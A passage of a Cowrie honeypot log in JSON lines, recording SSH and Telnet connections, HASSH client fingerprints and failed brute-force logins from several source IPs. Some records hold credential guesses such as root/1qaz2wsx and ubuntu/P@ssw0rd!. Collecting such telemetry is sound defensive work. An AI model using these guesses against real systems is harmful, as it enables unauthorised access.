,"ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:03.896610Z","src_ip":"45.66.52.41","session":"129a9cdfd430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38180,"dst_ip":"159.203.135.109","dst_port":22,"session":"214ec0bbb5ad","protocol":"ssh","message":"New connection: 103.82.132.16:38180 (159.203.135.109:22) [session: 214ec0bbb5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:04.253887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:04.258768Z","src_ip":"103.82.132.16","session":"214ec0bbb5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.30555176734924,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:04.405369Z","src_ip":"192.119.13.58","session":"00dcae8d9e9c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:04.526442Z","src_ip":"103.82.132.16","session":"214ec0bbb5ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fr33d0m","message":"login attempt [root/fr33d0m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:04.721504Z","src_ip":"45.66.52.41","session":"129a9cdfd430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":42314,"dst_ip":"10.17.0.5","dst_port":22,"session":"abf14c0d3fe3","protocol":"ssh","message":"New connection: 170.238.160.191:42314 (10.17.0.5:22) [session: abf14c0d3fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:04.785126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:04.790231Z","src_ip":"170.238.160.191","session":"abf14c0d3fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.333240270614624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:04.894286Z","src_ip":"192.119.13.58","session":"308c0aff8905","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:04.903083Z","src_ip":"170.238.160.191","session":"abf14c0d3fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25800852","message":"login attempt [root/25800852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:05.327615Z","src_ip":"103.82.132.16","session":"214ec0bbb5ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01010101","message":"login attempt [root/01010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:05.389724Z","src_ip":"170.238.160.191","session":"abf14c0d3fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43484,"dst_ip":"10.17.0.5","dst_port":22,"session":"4915070ef2cb","protocol":"ssh","message":"New connection: 45.153.34.112:43484 (10.17.0.5:22) [session: 4915070ef2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:05.822194Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:05.897938Z","src_ip":"45.66.52.41","session":"129a9cdfd430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":44072,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1de34d00c3f","protocol":"ssh","message":"New connection: 170.106.177.3:44072 (10.17.0.5:22) [session: b1de34d00c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:05.903347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:05.912941Z","src_ip":"170.106.177.3","session":"b1de34d00c3f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:05.942848Z","src_ip":"45.153.34.112","session":"4915070ef2cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:05.949811Z","src_ip":"45.153.34.112","session":"4915070ef2cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:05.981824Z","src_ip":"170.106.177.3","session":"b1de34d00c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:06.279988Z","src_ip":"45.153.34.112","session":"4915070ef2cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd!","message":"login attempt [ubuntu/P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:06.289990Z","src_ip":"170.106.177.3","session":"b1de34d00c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:06.506763Z","src_ip":"170.238.160.191","session":"abf14c0d3fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:06.599715Z","src_ip":"103.82.132.16","session":"214ec0bbb5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.62079334259033,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:06.954765Z","src_ip":"192.119.13.58","session":"4c8f30f41871","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:07.361710Z","src_ip":"170.106.177.3","session":"b1de34d00c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:07.375423Z","src_ip":"45.153.34.112","session":"4915070ef2cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":42114,"dst_ip":"10.17.0.5","dst_port":22,"session":"8df9ad607c90","protocol":"ssh","message":"New connection: 43.173.122.127:42114 (10.17.0.5:22) [session: 8df9ad607c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:07.894351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:07.898659Z","src_ip":"43.173.122.127","session":"8df9ad607c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:07.966406Z","src_ip":"43.173.122.127","session":"8df9ad607c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazmko0","message":"login attempt [root/1qazmko0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:08.270875Z","src_ip":"43.173.122.127","session":"8df9ad607c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:09.342258Z","src_ip":"43.173.122.127","session":"8df9ad607c90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49264,"dst_ip":"10.17.0.5","dst_port":22,"session":"55b2e4c86476","protocol":"ssh","message":"New connection: 45.153.34.112:49264 (10.17.0.5:22) [session: 55b2e4c86476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:09.657040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:09.660798Z","src_ip":"45.153.34.112","session":"55b2e4c86476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:09.742331Z","src_ip":"45.153.34.112","session":"55b2e4c86476","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:09.990548Z","src_ip":"45.153.34.112","session":"55b2e4c86476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.66474151611328,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:10.765913Z","src_ip":"192.119.13.58","session":"67059fb5d9c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:11.270141Z","src_ip":"45.153.34.112","session":"55b2e4c86476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":57238,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b7cf594e35","protocol":"ssh","message":"New connection: 43.134.175.218:57238 (10.17.0.5:22) [session: 65b7cf594e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:11.512290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:11.517832Z","src_ip":"43.134.175.218","session":"65b7cf594e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:11.756657Z","src_ip":"43.134.175.218","session":"65b7cf594e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.37772989273071,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:11.793341Z","src_ip":"192.119.13.58","session":"0b3281b500b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123123","message":"login attempt [root/aA123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:12.746333Z","src_ip":"43.134.175.218","session":"65b7cf594e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49278,"dst_ip":"10.17.0.5","dst_port":22,"session":"af449e95e320","protocol":"ssh","message":"New connection: 45.153.34.112:49278 (10.17.0.5:22) [session: af449e95e320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:13.284089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:13.289136Z","src_ip":"45.153.34.112","session":"af449e95e320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:13.372634Z","src_ip":"45.153.34.112","session":"af449e95e320","protocol":"ssh"}
